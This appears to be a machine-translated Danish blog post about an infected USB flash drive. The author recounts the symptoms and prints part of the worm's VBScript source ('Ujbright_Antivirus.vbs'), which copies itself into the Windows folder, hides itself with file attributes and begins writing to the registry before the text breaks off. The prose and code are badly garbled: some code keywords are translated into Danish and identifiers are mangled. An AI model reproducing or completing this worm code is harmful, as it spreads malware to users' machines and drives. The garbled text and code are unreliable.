Efter loge tid modtager nogle data fra en professor på college, jeg skubbe min JetFlash drev i sin USBPORT. Efter scanningen vises & lukker. Jeg blev Tilfreds, jeg åbner myflash drev. Jeg fandt alle data relavent til min professor gav mig alene med taht jeg fandt en ekstra fil. navngivet som en README-fil. Jeg selv om det er nyt så jeg åbner det & der er nogle skrald skrevet i denne fil. Så jeg slette den. But..there det er tilbage igen. Nu iDelete det igen & igen ryggen. Ido, t vide, hvad det er, så jeg åbner Jobliste. Nope åbner ikke.
så jeg prøver msconfig, registreringsdatabasen, men selv de er blokeret hver thingin min computer. Det er spændende. Ikke fordi jeg har arbejde at gøre, eller fordi Nu starter jeg elsker at blive inficeret, men på grund af det faktum, at resultatet af fifle rundt sidst vil jeg fik nogle kode. Så min grådighed efter en fiks kode begynder.
Denne alt vil ske i vinduer SOI genstarte pc'en og starte op i linux (Ohh ja, det er den dejlige Ubuntu fra DVD). Så jeg acess eller åbne vinduer filer fra her, nu gå til system32 & tjekket disse filer.
Jeg også meget indsat den inficerede flash-drevet tilbage agin men bare rolig, hvad den gør, fordi det ikke kan lege med min dejlige linux. nu agin jeg fundet tre ekstra filer i drev: En Idiotisk readme Ujbright_Antivirus.vbs Autorun.inf Det var interessant for mig var at anden fil. I tha fundet i script selvfølgelig. Jeg åbner den og finder det sande programe af logikken build i det. Mens wrriting win script, en bestemt til at løbe efter nogen tid igen & igen & igen. Men alt det gjorde var ikke curroption men for at redde sin eksistens & kopiere i til hver flash-drev det så.
Det var i scriptet i denne anden fil: On Error Resume Next Dim FSO, wscr, tf, scrText, vinder, økse Set FSO = CreateObject ("Scripting.FileSystemObject") Set wscr = CreateObject ("WScript.Shell") win = fso.GetSpecialFolder
(0) tf = WScript.ScriptFullName x = LCase (tf) Hvis Mid (x, 4) = "UjBright_Antivirus.vbs" Så wscr.Run "explorer.exe" & fso.Getfile (tf) .Drive.Path End If Set minfil = fso.Getfile (tf) .OpenAsTextStream
(1) Gør Indtil myFile.AtEndOfStream scrText = scrText & myFile.ReadLine & vbCrLf Loop ax = fso.FileExists (win & "\\ UjBright_Antivirus.vbs") Set minfil = FSO .
CreateTextFile (win & "\\ UjBright_Antivirus.vbs", true) myFile.write scrText myFile.close Set fAttr = fso.Getfile (vinder & "\\ UjBright_Antivirus.vbs") fAttr.Attributes = 39 wscr.RegWrite "HKEY_LOCAL_MACHINE \\ SOFTWARE \\ Micro
2548 (Top Ny)